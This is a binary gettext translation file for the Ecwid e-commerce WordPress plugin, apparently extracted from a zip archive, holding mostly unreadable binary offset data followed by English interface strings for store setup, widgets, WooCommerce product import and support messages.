���V�����V��±���#V��.���ÕV��Û���W��D���àW��h���%X�����ŽX��_���“X��C���óX�����7Y�����IY��/���_Y��/���Y�����¿Y��/���ÔY��(���Z�����-Z��9���GZ��I���Z��2���ËZ��"���þZ��:���![�����\[��"���t[��!���—[�����¹[�����Ø[�����Ý[�����ñ[��$��� \��*���1\��B���\\�����Ÿ\�� ���½\�����È\�� ���Ý\�����è\��+���ï\�����]��-���,]��P���Z]�����«]��#���Á]��'���å]��)��� ^�� ���7^�����X^��%���g^��+���^��+���¹^�����å^�����_�����_�����!_�� ���2_��$���?_��9���d_��%���ž_��:���Ä_�����ÿ_�����`�����`�����&`�����(`�� ���=`�� ���K`�� ���Y`�� ���c`�����o`�����`�����†`�� ���Ž`�����™`�����ž`�� ���¯`�����º`�����É`�� ���Î`��–���Ø`�����oa�����„a�����ša��S���œa�����ða��'���ÿa��[���'b�� ���ƒb�����b�� ���¢b�����¬b�� ���³b�� ���¾b�����Éb�����Òb�� ���×b��9���âb�����c�� ���:c�� ���Dc�� ���Nc�� ���Xc�����bc��Ò���wc��I���Jd�����”d�����±d�����Íd�� ���èd�� ���ôd�� ���e�����e�� ��� e�����-e�����@e�����Ue�����]e�����de��þ���je��å���if��#���Og�����sg�� ���‚g��ß���Œg�����lh�����th�� ���i�� ���i�����i�����%i��O��*i��4���zj�����¯j�� ���Áj�� ���Îj�����Ûj�����äj�� ���ìj�����új�� ����k����� k�����k�����'k�����:k�����Rk�� ���jk�����vk�����…k�����˜k�����³k��+���Ëk�����÷k�� ��� l�����l�����*l�����Bl�����al�� ���xl�����†l��I���l��'���Ùl�����m�����m�����$m�����=m�����Em��#���Xm�� ���|m�����†m�� ���m�����šm�����©m�����¹m��"���Òm�����õm��%���n�� ���4n�����>n�����Vn�����en�����…n�����n�����“n�����•n�����™n�����Ÿn�����®n��*���³n�� ���Þn�����ën�����òn�����o�����o�����/o�� ���8o�����Co�����So�����do�����vo�� ���‡o��"���”o�����·o�����Ëo�� ���Ýo�����êo�����üo�����p����� p�����p�� ���"p�����0p��#���Kp�����op�����‚p�����¢p�����·p�����¼p�����Ûp��V���ëp�� ���Bq�� ���cq�����qq�� ���ƒq�����‘q��&���¥q��(���Ìq�����õq�����r�� ���&r�����2r�� ���Br�� ��cr�� ���ns�����ys��(���“s��*���¼s��‡��çs�� ���ow�� ���zw�����‡w��•���Žw��.���$x�����Sx�����Yx�����jx�����€x�����”x�����¥x�����µx��Ü���¾x��ƒ���›y�����z�����0z�� ���Az�����Lz�����\z�����rz�����ƒz�����’z�����£z�����¶z�����Îz�����âz�� ���ýz�����{�����{�����${�����4{�����I{�� ���O{��/���Z{��N���Š{�����Ù{�� ���Þ{��4���é{��¨���|��=���Ç|��œ���}��-���¢}��Á���Ð}��%���’~��M���¸~�������P�����H���h��P���±�����€�����€�� ���€�� ���"€�����/€�����A€��’���H€��©���Û€��®���…�� ��4‚��E��>ƒ��‰���„…��]���†��ñ���l†��%��^‡��*��„ˆ��*��¯‰��y���ÚŠ��>���T‹��¡���“‹��h���5Œ��L���žŒ�����ëŒ�� ���ôŒ�����þŒ����������,�����5�����<�����P�����l�����|����������Ÿ�����¯�����¿�����Ô�����ä�����õ�����Ž�� ���Ž��!��� Ž��j���BŽ��—���­Ž�����E��^���Å�����$�����,�����F�� ���V��‡���c�����ë�� ��ü��±���’��C��¹’��B��ý“��k���@•�����¬•��¨���­–��©���V—�� ����˜��0���!˜��^���R˜�����±˜��:���Ę��>���ÿ˜�����>™�����N™�����j™�� ���ƒ™��2���™��?���Ù��Ò���š�����Öš��’���òš�����…›��y���•›��A���œ�����Qœ�����oœ��€��Žœ��:���ž�����Jž�����_ž�� ���ž��"��� ž�����Þ��"���ßž��H���Ÿ��)���KŸ�����uŸ�����Ÿ��&���°Ÿ��(���ן������ ����� �����  �����4 ��Ü��G �����$¢��e���:¢��'��� ¢�����È¢�� ���Ë¢�����Ö¢�� ���ï¢�����ü¢��5���£�� ���M£�� ���Y£�����f£�����„£��,���Ÿ£��Š��Ì£�����W¦��B���v¦��!���¹¦�����Û¦��!���û¦�����§��0���=§�����n§�����Ч�����£§����¹§��*���½¨�����è¨�����ù¨��(���©��!���1©�����S©��*���p©�����›©��+���¹©�� ���å©��!���ó©�����ª��6���)ª��1���`ª�����’ª��C���£ª��/���çª��ø���«��!���¬�����2¬��e���À¬��n���&­��Z���•­��o���ð­��^���`®��R���¿®�����¯�����,¯�����5¯��5���O¯�����…¯��h��� ¯�� ��� °�� ���°��!���!°��)���C°�����m°�����}°�����ƒ°�����‰°�����ž°�����¤°�����«°�����À°�� ���Ó°�����à°�����þ°��:���±�����O±�� ���`±�����n±�����‡±��`���¤±�� ���²�� ���²��=���²��9���W²�����‘²�����š²�����¢²�����±²�����β�� ���á²�� ���ë²�� ���÷²��%���³��!���(³�����J³��5���j³��(��� ³�����ɳ��%���Ò³�����ø³��!����´�����"´�����2´��C���B´��(���†´�����¯´��g���Ï´�����7µ�����Qµ��.���jµ�����™µ�����¨µ�����·µ�����Àµ�����Òµ�����êµ��¢���üµ��%���Ÿ¶��!���Ŷ�� ���ç¶��!���ñ¶�����·�����-·�����J·�����e·�� ���€·�����·��8���«·��j���ä·��´���O¸�����¹�� ���¹�����(¹��I���7¹��$���¹�����¦¹�����¯¹��x���@º�����¹º��'���Ѻ��5���ùº�����/»��œ���G»�����ä»�����ö»�����ü»�����¼�����6¼��9���U¼��;���¼��0���˼�����ü¼�����½�����,½�����4½�����H½�����b½�����u½�����‘½�����¦½�����À½��2���à½��!���¾��#���5¾��I���Y¾��+���£¾�����Ͼ��6���î¾��/���%¿�����U¿��2���s¿��&���¦¿�����Í¿��E���ì¿�����2À��š���DÀ��ƒ���ßÀ��*���cÁ��P���ŽÁ��`���ßÁ��:���@Â�����{Â�� ��� Ã��¿���Ã��€���ÔÃ�����UÄ��3���[Ä�����Ä�����­Ä��'���¶Ä�����ÞÄ�����òÄ��5���Å�����DÅ��’���`Å��,���óÅ��+��� Æ��$���LÆ��t��qÆ��¤���æÇ��A��‹È��h��ÍÉ�����6Ë��)���RË�����|Ë�����ƒË�����•Ë�����§Ë�� ���·Ë��$���ÅË�����êË��Å���ùË��Ç���¿Ì�����‡Í��$���¥Í�����ÊÍ��Y���åÍ��*���?Î�����jÎ�����rÎ�����‘Î�����®Î�����¾Î��%���ÓÎ�����ùÎ����� Ï�� ���$Ï��4���/Ï�� ���dÏ�����pÏ�����…Ï��ø���‹Ï��;���„Ð��þ���ÀÐ��D���¿Ñ��g���Ò�����lÒ��p���tÒ��Q���åÒ�����7Ó�����KÓ��]���cÓ��>���ÁÓ������Ô��D���Ô��1���_Ô�����‘Ô��I���©Ô��g���óÔ��/���[Õ��$���‹Õ��7���°Õ�����èÕ��0���Ö��%���8Ö��"���^Ö�����Ö�����‡Ö��%���£Ö��/���ÉÖ��7���ùÖ��@���1×��.���r×�����¡×��#���±×�� ���Õ×�����á×��)���ê×�����Ø��>���,Ø��h���kØ��!���ÔØ��%���öØ��1���Ù��3���NÙ��'���‚Ù�����ªÙ��(���ÅÙ��)���îÙ��)���Ú�����BÚ�����aÚ�����€Ú�����‰Ú����� Ú��-���·Ú��E���åÚ��-���+Û��8���YÛ�����’Û�� ���®Û�����ºÛ�����ÏÛ�� ���ÑÛ�����òÛ�����Ü�����Ü����� Ü�����7Ü�����JÜ�����RÜ�����[Ü�� ���mÜ�����wÜ�����ˆÜ�����™Ü�����¬Ü�����²Ü��»���ÁÜ�����}Ý�����˜Ý�����´Ý��s���¶Ý�����*Þ��/���EÞ��q���uÞ�����çÞ�����ûÞ�� ���ß�����&ß�� ���-ß�� ���7ß�� ���Aß�����Lß�� ���Sß��A���_ß��#���¡ß�����Åß�����×ß�� ���éß�� ���õß�����ÿß��)��à��c���Há�����¬á�� ���Ìá��!���íá�����â�� ���â�����+â��#���<â�����`â�����qâ�����‹â�����§â�����°â�����¸â��I��½â��ú���ä��%���å�����(å�� ���:å��×���Gå�����æ��¢���$æ�����Çæ�����Ýæ�����ðæ�����÷æ��•���ç��9���–è�����Ðè�� ���èè�� ���õè�� ���é�� ��� é�����é�����*é�����1é�����Bé�����Ké�����fé��#���é��%���¥é�����Ëé�����Üé�� ���óé�� ���ê��+���5ê��7���aê��"���™ê�����¼ê�����Ðê��*���æê��1���ë��$���Cë�����hë�� ���}ë��a���‡ë��0���éë�����ì�����/ì�����?ì�����^ì�� ���gì��4���ˆì�� ���½ì�����Çì�����Ðì�����éì�����üì�����í��5���-í�����cí��(���‚í�� ���«í��"���·í�����Úí��"���ìí�����î�����î����� î�����"î�����&î�����-î�����>î��-���Fî�����tî�����„î�����‹î�����Ÿî��"���°î�����Óî�����Üî�����íî�����ï�����ï�����2ï�����Eï��0���Tï��&���…ï�����¬ï�����Àï�����×ï�����ëï�����ûï����� ð�����ð�����#ð��"���6ð��+���Yð�����…ð��/���¢ð��!���Òð�����ôð��+���üð�����(ñ��ˆ���<ñ��(���Åñ�����îñ�����ò����� ò��$���;ò��8���`ò��8���™ò��)���Òò��#���üò����� ó�����2ó��)���Nó��M��xó�����Æô��$���Õô��2���úô��L���-õ��,��zõ�� ���§ù�����´ù�����Ìù��½���Óù��?���‘ú�����Ñú�����Øú��!���ñú��#���û�����7û�����Vû�����uû����…û��™���™ü�����3ý�����Sý�����lý�� ���ý�����¢ý�����Áý�����Ùý�����ðý��$���þ��$���+þ�����Pþ�����nþ�����Žþ�����¡þ�����¨þ�����¼þ�����Ðþ�����æþ�����ìþ��G���ûþ��W���Cÿ�����›ÿ�����¡ÿ��8���±ÿ��©���êÿ��Y���”��‹���î��:���z�×���µ�'����_���µ�����X���&�^����U���Þ����4����<� ���Q� ���^����l����ˆ�»���‘�Ã���M�Ç����#��Ù�­��ý�‘���« �u���= ���³ �@��Æ �@���U��H�›���ž�P���:�®���‹�~���:�a���¹��������1����E����]����v� ���”����Ÿ�$���¶����Û����í� ���� ��������,���6����c��������š����¬� ���¿�#���Ì�œ���ð�š����…���(�]���®� ��� ��������0� ���I�¹���W�����V��&�×���}�‘��U�`��ç�‘���H�+��Ú�Ô����É���Û�'���¥ �2���Í �^����!����_!�A���v!�G���¸!�����"����"�$���6"� ���["�8���g"�;��� "�5��Ü"� ���$�¯���3$����ã$�¡���û$�R���%����ð%���� &�Û��-&�[��� (����e(� ���}(����‡(�"���Ž(����±(�"���Í(�H���ð(�)���9)����c)�(���~)����§)����¸)����Ì)����á)����÷)����*��������I��������������“��k������R��W��y����$��%���Ü�������������í���������í��‚���þ�������±��#��Æ���y���R��#������¸��J���Z��À�������?���B��^��>��ã���Ý��¯������������������ ��� ��3����1��–���U������>�����Ç��K��q��š�������¸�����³��á���Ø���-�������Ð����������—����v���8������:���/���´���g��d���Í��������������S��?��¨��È������ò����������¢���'��Þ�������,�������Ê�����j��Z������§��P��º�������W���Ã������Å���S��Ï�������]����������T������¿���Ñ�� �������6���®������ú���”�������r����������¹���c��9������¿��é��,��Ò�������¥���������k�����������£���%��������������É��â���������Ú������½�����������Ë���L���"�������a��ß��á��ü��ª��W��t����Â���������Þ������}��.��õ��÷�� ��$������K������G��û���×��ú��~���������������0������w�������Ò�����E��¨���ï���7���Õ����������������������‰���Q��Ž������F��ª�����������¤���¾��:��\���Ï��������������O�����X��'��*��3������1������ ��������Ñ�������’���»���u���������É���9��ô���E���ˆ��©������C��������������������‡���������?������8��a��_���b�������L������@��&������*��I��C���J��™���Y���«������D������ƒ������$���£������;��F��Î�������N���Ã���G������'���©�������Ä���¦��0�����@�����^���…���ë��c���ž��������Ç������u��ý��>��:����å����.���â���†���þ��M��j���[��S��PK������Ê—[!ÛÛ¡2¬�2¬�:��ecwid-shopping-cart/languages/ecwid-shopping-cart-es_AR.ponu�„[µü¤�����������&�����î���õ�������ð����%��Š�� ��c������h��X���A��������#�����������z�������3�����(������������������³���û������’��������������Î�����Q��������e��������ù���À��-��������™��i���¬���Ö���D��œ��p�� �����!�������Œ�������(����������…��X��5��°��7��ó���µ��î��=�����������ß���;������N������¶���P����¹��������������T�����������²���\������Z���º��–�����������������&����� ������€��� ���`���”��ç��|��ó��«�������`��ä���¡�������<�������Œ��e���+�������A���‡��=������Ù��ø������¾���§���¥��)���‚����Q��Í���ì���Ô��Â���Ý���Ë��˜��‹��è��f��!��ë��� ���b��a���M��{�������<��7�����‘���¼�������������¯���Û�������ï������H��Ù���Ì���6��O��s���`����������9��Ÿ���*�������Æ��-��}���"�����æ��¤��r���à���œ���0������������ä��{������������������ö��������‰����������l��H����������v����d��/��­��� ��]���t���p�����2��ƒ���·������d��„������g���æ���U���‘������C��Ô���¶��w��­��×�����[���l�����������ü���Ø����������<��Ó��“���›�� ���o���1��� ����� ��è���V��f���¦���N�� ��E������Ÿ��•������������������Ó������� ��Ö��ø���������Û����������/������,��������~���������¼������������Ú��!������[��®��n�����������_��"��ò���(�������2���J��x��h���_��½�� ��ÿ���÷���o������M���‹���4��=��8���ÿ��ê�������2��Ð��� ��4�������Á��„���m�������Å��›�������²���������ì��5��n��I���;���•��)������6��L��V���������—���+��Ü��+��A��������������������š��Ê���Y��B��F������ �������)��Õ���é���m��i��ö���ý������5���^������|���z�������������È���´�����U����������x�����������\��ù��q���å���†������O���ô������Š���ç���V����������b��ð�������¡������������˜���ˆ�������¢��Á���ñ���Y�������������.��·���D������ã����������ê��B�������G��s��¬��Ì��µ�������R�����T��ñ��e���������� Choose another product� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s�%s Blog�%s Shopping Cart�%s Store�%s Store Page�%s plugin doesn't work well with my "%s" theme�%s product�%s products�%s products and %s categories�%s products and categories�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�(You will be able to confirm the changes before the actual import)�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�<a href="admin.php?page=�<b>%s</b> categories�A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".�Action required: please connect your %s account�Add Product�Add Store�Add Store Page to Menu�Add a category page�Add a product page�Add a search and filters page�Add a store page�Add an Online Store to Your Website�Add border�Add cart and checkout page�Add categories�Add store page to the site menu�Add storefront (product listing)�Add to Menu�Add your %s store to the website and start selling in minutes.�Add your store to other site pages�Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>�Additional store pages�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Adjust your store design to fit your business needs.�Admin Label�Advanced�Advanced settings�After import, your %s store will have �All Sales Channels�Along with the store catalog, you can add other widgets and texts to the store page.�Appearance�Apps�Available qty in stock�Back to Store Settings�Background color�Bag�Basket�Before You Go�Border�Border:�Bottom left�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy Now�Buy Now Button�Buy now buttons�By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>.�CSS Class�CSS ID�Can you share the name of the plugin you chose?�Can you share your feedback? What was wrong?�Cancel�Cart�Cart and Checkout�Cart icon�Cart icon:�Catalog�Categories�Category�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Change�Change store content�Choose Product�Choose product�Choose product properties to display in widget�Choose the main store page�Choose widgets to show�Click the connect button to get rights to update the product catalog�Color settings�Complete Setup�Complete setup and start selling�Configuration�Congratulations!�Connect�Connect Your Store�Connect your %s store�Connect your store�Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again.�Contact Support�Contact us�Content�Copying products and categories.�Create Cart Page�Create Category Page�Create Product Page�Create Search Page�Create Store�Create Store Page�Create a landing page featuring one of your products.�Create a new %s account which you will use to manage your store and inventory. The registration is free.�Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website.�Create new account�Create store�Current Page�Current URL slug: /<span data-ec-store-slug>%s</span>�Customer Single Sign-On�Customers�Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers.�Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.�Customize design�Customize store appearance�Customize store page address�Customize widget�Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand.�Cyan bluish gray�Dashboard�Default category�Default category ID�Default product_ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Design�Design and content�Detect automatically�Disconnect store�Display a buy button�Display breadcrumbs�Display cart icon�Display categories menu�Display categories navigation bar�Display category page�Display footer menu�Display product page with description and a buy button�Display product with a buy button�Display search box�Display search page with filters on a side�Display shopping bag link and summary�Display shopping cart�Display shopping cart and checkout page�Display sign in link�Display sort by link�Display the shopping cart icon on site pages�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a list of random products.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do not show�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Done�Download <a href="%s">import log</a>�Download log file�Draft�E.g. How to set up shipping�Ecwid Badge�Ecwid Ecommerce�Ecwid Ecommerce Shopping Cart�Ecwid Menu Item�Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit�Edit Appearance�Edit Category�Edit Product�Edit Store�Edit URL Slug�Edit page�Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.�Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.�Enter your Store ID�Enter your Store ID here:�Extensions for your Store�Feature a specific store category on a separate page of your site.�Feature your products in the sidebar�Filters�Filters panel position�Find your Store ID�First Page�Frequently Asked Questions�Get %s mobile app�Go to Pages�Go to Your %s Products�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars.�Help customers find your store on the website.�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Here you can create the content that will be used within the module.�Here, we will help you uploading your product catalog to %s from another shopping cart or other sources.�Hide�Highlight products, categories, and other store pages by adding them to separate website pages.�Highlight your best sellers or new products in the website sidebar.�Horizontal indent�Horizontal thumbnails�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu?�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I already have an account, sign in�I couldn’t find a WordPress theme that goes well with %s�I found a better plugin�I have a problem using this plugin�I have a problem with my %s store�I use this WordPress theme: %s�Icon�Icon and item count�Icon, label and item count�Icon, label, item count and subtotal�Icon, label, item count, subtotal and link�If you have a moment, please let us know why you are deactivating:�Image and title on mouse over�Image feed�Image gallery layout�Image only�Import�Import Your Products From Woocommerce to %s�Import completed�Import completed. <a href="%s">Run again.</a>�Import creates new products and update the existing products with matching SKUs.�Import is in Progress�Import my products from WooCommerce�Import product catalog from WooCommerce�Import product catalog from other sources�Import products to your %s store�Import summary�Import your WooCommerce catalog to %s�Import your products from WooCommerce to %s�Import your products from Woocommerce to %s�Imported <b>%s</b> products�Importing %s of %s items�Insert�Insert into page�Instant site�Integration with search on your site�Is it possible to display my store on the site home page?�Is there a WordPress theme for Ecwid?�It's a temporary deactivation. Please do not ask me again.�Item count only�Justify�Knowledge Base�L�Label and item count�Landscape 3:2�Landscape 4:3�Last Page�Last update�Latest Products�Layout�Layout:�Learn more�Left�Light green cyan�Link color�Linked product�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�Luminous vivid amber�Luminous vivid orange�M�Make your store accessible from the site menu so your customers can easily find it.�Manage Sidebar�Manage Store on iPhone, iPad or Android�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�Manage store�Manage storefront�Marketing�Mobile�My Account�My Profile�My Sales�Name�Navigation�Need help importing your products from WooCommerce to %s?�Never show this message again�Next Page�Next page�No Thanks�No border�Not synchronized yet�Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�On the left�On the right�Online Store�Online Store Apps�Online store�Open control panel�Open store dashboard�Options�Orders�Other�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Page with that name already exists.�Pale cyan blue�Pale pink�Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>�Payment�Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers.�Pick Category�Pick Product�Picture�Pill�Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target="_blank">"Billing & Plans"</a></nobr> page in your Ecwid store control panel.�Please subscribe to a paid plan to get this feature.�Plugins for Ecwid�Portrait 2:3�Portrait 3:4�Position�Preview�Previous Page�Price�Price color�Product�Product Card Large�Product Card Small�Product List Appearance�Product Page Appearance�Product SKU�Product Search�Product Search Box�Product Search and filters�Product card text align�Product catalog will be shown automatically�Product page layout�Product price�Product quantity�Product sidebar content�Product thumbnail aspect ratio�Product thumbnail size�Product title�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %1$s out of %2$s�Promote your store�Provide access.�Provided by <a %s>%s</a>�Publish�Publish Store Page�Publish the page to use this option�Published�Quantity�Questions?�Random Product�Random Products�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Recently Viewed Products�Recommendations for Your Online Store�Rectangle�Refresh categories list�Register at %s�Report a problem with the store�Reports�Right�S�SKU�Sales�Sales channels�Save�Save and connect your %s store to the site�Save changes�Search�Search and Filters�Search products�Search the Knowledge Base�See more�Select All�Select category�Selected Product�Selected category�Sell on Facebook�Send Message�Send a message to our support team�Send message failed�Set Up Your Store�Set manually�Set up your store�Settings�Setup�Shipping & Pickup�Shop�Shopping Cart�Shopping Cart (deprecated)�Shopping Cart Floating (deprecated)�Shopping Cart Icon�Shopping Cart Mini (deprecated)�Shopping Cart Widget�Show�Show additional image on hover�Show categories�Show customers that they can use a search and filters to find desired products faster.�Show description under the image�Show minicart�Show on all pages�Show on hover�Show on store pages�Show price inside the "Buy now" button�Show price inside the «Buy now» button�Show product card border�Show product thumbnails�Show search�Show when empty�Show your store on the home page�Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Small icon�Small icon and item count�Some of the items could not be imported.�Sorry we're having technical difficulties.�Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>.�Square 1:1�Start Import�Status�Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store Categories Menu�Store Category Page�Store Front Page�Store Home Page�Store ID�Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the "Dashboard" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>.�Store Link Title�Store Navigation�Store Page�Store Page Link�Store Root Categories�Store appearance�Store elements�Store management�Store page content�Store page on your site�Store root category�Store with Categories Menu�Storefront�Subject�Submit & Deactivate�Switch to draft�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Take advantage of powerful apps and extensions designed to enhance your store.�Text�Text color�Thank you for choosing %s to build your online store�The block is hidden because you don't have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>�The category that is shown by default on the Store Front Page�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�The plugin doesn't support the feature I want�The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href="%s" target="_blank">adjust the cart icon appearance</a>.�The store is not visible on your site�The store top-level categories are automatically added to this drop-down menu�Themes for Ecwid�This import will copy your WooCommerce products and categories to your %s store.�This is a demo store. Create your store to see your store products here.�This will change the label of the module in the builder for easy identification.�Title�Title on image�Title only�Title or SKU�Title under image�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>�To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To manage your store, go to <a %s>the Store Dashboard page</a>�To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission.�To show your storefront instead of the demo store, connect your existing %s account or create a new one.�To start selling, add a page to your site where the storefront will display.�Top left�Top right�Try another search.�Type in your message here�URL Slug�Update�Update your catalog�Upgrade to get this feature�Vertical indent�Vertical thumbnails�Very dark gray�Very light gray�View Store Page�View demo store page�View store page�Visit storefront�Vivid cyan blue�Vivid green cyan�Vivid red�Want to connect another %s store?�Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.�We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?�We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you.�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Website�What feature do you need?�What was wrong?�What's next?�While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site.�Wholesale prices�You can add product search box, cart 